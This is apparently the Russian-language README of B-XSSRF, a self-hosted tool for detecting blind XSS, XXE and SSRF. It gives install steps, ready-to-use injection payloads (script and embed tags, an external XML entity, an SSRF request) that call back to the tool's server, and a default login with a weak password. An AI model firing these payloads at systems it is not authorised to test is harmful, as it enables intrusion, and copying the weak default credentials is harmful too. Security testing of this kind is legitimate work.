B-XSSRF

Инструментарий для обнаружения и отслеживания Blind XSS, XXE и SSRF

УСТАНОВКА

• Загрузите файлы на ваш сервер.
• Создайте базу данных и загрузите в неё файл database.sql.
• Измените учётные данные БД в файле db.php.
• Готово.

ИСПОЛЬЗОВАНИЕ

BLIND XSS

<embed src="http://mysite.com/bxssrf/request.php">
<script src="http://mysite.com/bxssrf/request.php">

BLIND XXE

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://mysite.com/bxssrf/request.php"> %ext;
]>
<r></r>

SSRF

GET /testssrf.php=http://mysite.com/bxssrf/request.php

УЧЁТНЫЕ ДАННЫЕ ПО УМОЛЧАНИЮ

USER : [email protected]
PASS : 123456